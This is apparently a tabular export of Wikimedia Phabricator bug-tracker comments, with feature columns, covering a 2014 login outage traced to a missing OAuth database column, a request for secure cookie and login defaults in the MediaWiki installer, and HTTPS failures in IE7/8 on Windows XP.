341013,Attempt to login into Phabricator fails with a 503 Service Unavailable error,Sean applied a hotfix. the error appears to be gone for me. Could you guys please try again and confirm?,,,1418305893,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,9.0,9.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.6956521739130435,0.9565217391304348,Sean applied a hotfix. the error appears to be gone for me. Could you guys please try again and confirm?
341010,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"DBA now looking at tables...

or   https://gerrit.wikimedia.org/r/#/c/179130/

we are getting more reports on IRC",,,1418305690,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,3.5,0.9444444444444444,"DBA now looking at tables...

or   URL

we are getting more reports on IRC"
341008,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"Potentially the same issues: T78209, T78247, T78223",,,1418305518,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,40.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9,"Potentially the same issues: T78209, T78247, T78223"
341006,Attempt to login into Phabricator fails with a 503 Service Unavailable error,afaict either all the .sql files from https://gerrit.wikimedia.org/r/#/c/153983/9 need to be run by DBA (springle) or the change should be temp. reverted until we have the schema change via proper process,,,1418305024,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,15.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.8823529411764706,afaict either all the .sql files from URL need to be run by DBA (springle) or the change should be temp. reverted until we have the schema change via proper process
341003,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"informed ops and our dba about the query error, thanks Nemo for pointing out the process for schema changes already",,,1418304597,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.571428571428571,0.9047619047619048,"informed ops and our dba about the query error, thanks Nemo for pointing out the process for schema changes already"
340908,Attempt to login into Phabricator fails with a 503 Service Unavailable error,">>! In T78223#841048, @TTO wrote:
> Probably the database wasn't updated after https://gerrit.wikimedia.org/r/#/c/153983/ was merged.

As a reminder, the process is https://wikitech.wikimedia.org/wiki/Schema_changes",,,1418291532,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,"QUOTE
QUOTE

As a reminder, the process is URL"
340905,Attempt to login into Phabricator fails with a 503 Service Unavailable error,Probably the database wasn't updated after https://gerrit.wikimedia.org/r/#/c/153983/ was merged.,,,1418291104,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,0.9090909090909091,Probably the database wasn't updated after URL was merged.
340902,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"Add a subscriber, just to CC whoever is following that project (not sure whether it works).  :)  I don't think there is a problem in the extension itself, and I still think that it is suspicious that this happens right after our Phabricator upgrade.",,,1418290608,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,6.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,6.0,6.0,9.0,6.0,2.0,9.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,11.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,3.8867924528301887,0.7924528301886793,"Add a subscriber, just to CC whoever is following that project (not sure whether it works).  :)  I don't think there is a problem in the extension itself, and I still think that it is suspicious that this happens right after our Phabricator upgrade."
340885,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"@qgil: did you mean to add a subscriber or add a project tag?

I didn't even know you could subscribe a project...",,,1418288752,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,11.0,4.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.7037037037037037,0.7777777777777778,"SCREEN_NAME: did you mean to add a subscriber or add a project tag?

I didn't even know you could subscribe a project..."
340859,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"the error is with mediawiki, not phab:

On https://www.mediawiki.org/w/index.php?title=Special:OAuth/ I see this error:

`A database query error has occurred. This may indicate a bug in the software.`
`    Function: MediaWiki\Extensions\OAuth\MWOAuthConsumer::newFromKey`
`    Error: 1054 Unknown column 'oarc_callback_is_prefix' in 'field list' `",,,1418285713,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,26.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7391304347826086,"the error is with mediawiki, not phab:

On URL I see this error:

CODE
CODE
CODE"
340856,Attempt to login into Phabricator fails with a 503 Service Unavailable error,"Hm, same here:
 
```
Wikimedia Foundation
Error

Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: POST http://phabricator.wikimedia.org/auth/login/mediawiki:mediawiki/, from 10.64.0.171 via cp1043 cp1043 ([10.64.0.171]:80), Varnish XID 1226470680
Forwarded for: phabupdate, 2003:5b:ee1e:af64:c8f1:9342:dc2d:faec, 10.64.0.171
Error: 503, Service Unavailable at Thu, 11 Dec 2014 08:05:55 GMT
```

If this is happening for everybody, then this means that users without LDAP ending their session will not be able to log in again. Sound like trouble is coming unless this is fixed soon. Setting to Unbreak Now!",,,1418285278,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ipghpufzfzadpm5ugglz,task_subcomment,,True,c3,1,True,,,-29,True,0.0,2.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,6.0,0.0,6.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,17.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.6666666666666665,0.8148148148148148,"Hm, same here:
 
``CODE``

If this is happening for everybody, then this means that users without LDAP ending their session will not be able to log in again. Sound like trouble is coming unless this is fixed soon. Setting to Unbreak Now!"
111135,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","We recently installed MediaWiki 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0.0,0.3333333333333333,0.3333333333333333,1.0,1.0,6.333333333333333,2.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,4.666666666666667,8.666666666666666,0.3333333333333333,3.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.6666666666666665,2.3333333333333335,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,13.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.666666666666667,3.0,8.666666666666666,0.6666666666666666,4.333333333333333,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.3333333333333333,0.0,4.333333333333333,8.666666666666666,3.0,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,4.939560439560439,0.6995781995781996,"We recently installed MediaWiki 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (URL and URL

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change CODE to CODE."
111135,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","We recently installed MediaWiki 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0.0,0.3333333333333333,0.3333333333333333,1.0,1.0,6.333333333333333,2.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,4.666666666666667,8.666666666666666,0.3333333333333333,3.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.6666666666666665,2.3333333333333335,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,13.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.666666666666667,3.0,8.666666666666666,0.6666666666666666,4.333333333333333,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.3333333333333333,0.0,4.333333333333333,8.666666666666666,3.0,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,4.939560439560439,0.6995781995781996,"We recently installed MediaWiki 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (URL and URL

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change CODE to CODE."
1692131,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","```
$wgCookieHttpOnly = true;
$wgCookieSecure = detect;
```
Are the defaults in DefaultSettings.php.


`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
Using `$wgForceHTTPS` is a better choice.

",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,7.4,0.8,"``CODE`CODE$wgSecureLoginCODE$wgServerCODE$wgForceHTTPS` is a better choice.

"
1692131,"Installer should set wgSecureLogin, wgCookieHttpOnly and wgCookieSecure from generated LocalSettings.php","```
$wgCookieHttpOnly = true;
$wgCookieSecure = detect;
```
Are the defaults in DefaultSettings.php.


`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
Using `$wgForceHTTPS` is a better choice.

",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,7.4,0.8,"``CODE`CODE$wgSecureLoginCODE$wgServerCODE$wgForceHTTPS` is a better choice.

"
97701,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),"I used SauceLabs to test a feature in IE7 on Windows XP. Although Resource Loader does not support this browser, anonymous browsing of regular wiki pages works fine.  When I visit http://en.wikipedia.org/w/index.php?title=Special:UserLogin , it fails with IE7's generic error page

> **Internet Explorer cannot display the webpage**
> Most likely causes:
>  - You are not connected to the Internet.
>  - ...

I also get this generic error page I try to visit https://en.wikipedia.org/wiki/Sheep and the login page redirects to https, so maybe it's actually an https issue. IE7 doesn't show what net error it receives.

I can visit other https sites in the same SauceLabs browser setup, so I'm not sure why login and https fail on Wikimedia sites. IE8 on WIndows XP on SauceLabs, which RL does support, fails the same way, while IE8 on Windows 7 on SauceLabs is fine.",Needs Triage,90.0,1430426559,1634151277.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-fi5tiwfykkgobyv7wlck,task_description,declined,True,c3,1,False,False,False,-9,True,0.0,0.0,0.0,0.0,2.0,6.5,0.5,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,3.5,0.0,5.5,9.5,0.0,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,8.5,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,17.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,3.0,0.5,18.5,3.0,1.0,4.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,5.0,9.5,11.0,0.0,0.0,0.0,5.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,3.77027027027027,0.7027027027027027,"I used SauceLabs to test a feature in IE7 on Windows XP. Although Resource Loader does not support this browser, anonymous browsing of regular wiki pages works fine.  When I visit URL , it fails with IE7's generic error page

QUOTE
QUOTE
QUOTE
QUOTE

I also get this generic error page I try to visit URL and the login page redirects to https, so maybe it's actually an https issue. IE7 doesn't show what net error it receives.

I can visit other https sites in the same SauceLabs browser setup, so I'm not sure why login and https fail on Wikimedia sites. IE8 on WIndows XP on SauceLabs, which RL does support, fails the same way, while IE8 on Windows 7 on SauceLabs is fine."
1800106,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),IE8 support has been removed in MW 1.36 and in course of T248061.,,,1634151277,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,True,,,327,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,21.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,0.9285714285714286,IE8 support has been removed in MW 1.36 and in course of T248061.
966242,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),">>! In T97701#3717903, @BBlack wrote:
> However, https://stats.wikimedia.org/wikimedia/squids/SquidReportClients.htm doesn't break down by underlying OS version, which is why IE8 is higher there (it's including e.g. IE8-on-Vista and others).

FWIW, that's deprecated, https://analytics.wikimedia.org/dashboards/browsers is the (much fancier) replacement that can also provide OS/browser combination statistics.",,,1510892318,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-fi5tiwfykkgobyv7wlck,task_subcomment,,True,c3,3,True,,,124,True,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.178571428571429,0.8928571428571429,"QUOTE
QUOTE

FWIW, that's deprecated, URL is the (much fancier) replacement that can also provide OS/browser combination statistics."
955159,Can't visit login page or https wiki pages in IE7/8 on Windows XP (on SauceLabs),"@Whatamidoing-WMF - Kinda?  See also the explanation here: T25932#3614933 .  TL;DR is that just because we removed the cipher that IE8/XP should use, that doesn't necessarily mean that no IE8/XP clients will ever connect to us.

